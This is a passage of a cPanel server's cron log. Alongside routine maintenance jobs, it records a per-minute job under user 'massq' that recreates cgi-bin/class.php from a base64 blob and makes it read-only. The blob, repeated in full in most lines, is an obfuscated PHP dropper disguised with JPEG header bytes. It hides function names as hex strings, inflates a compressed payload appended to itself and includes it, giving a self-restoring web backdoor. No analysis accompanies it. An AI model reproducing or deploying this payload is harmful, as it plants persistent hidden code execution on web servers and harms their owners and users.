&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:25:01 server CROND[30939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:25:01 server CROND[30941]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:25:01 server CROND[30940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:26:01 server CROND[31307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:27:01 server CROND[31681]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 09:27:01 server CROND[31682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:28:01 server CROND[31942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:29:01 server CROND[32212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:30:01 server CROND[32579]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 09:30:01 server CROND[32580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:30:01 server CROND[32581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:30:01 server CROND[32582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:31:01 server CROND[438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:32:01 server CROND[714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:33:01 server CROND[973]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:34:01 server CROND[1224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:35:01 server CROND[1576]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 09:35:01 server CROND[1577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:35:01 server CROND[1578]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:35:01 server CROND[1579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:35:01 server CROND[1580]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 09:36:01 server CROND[1912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
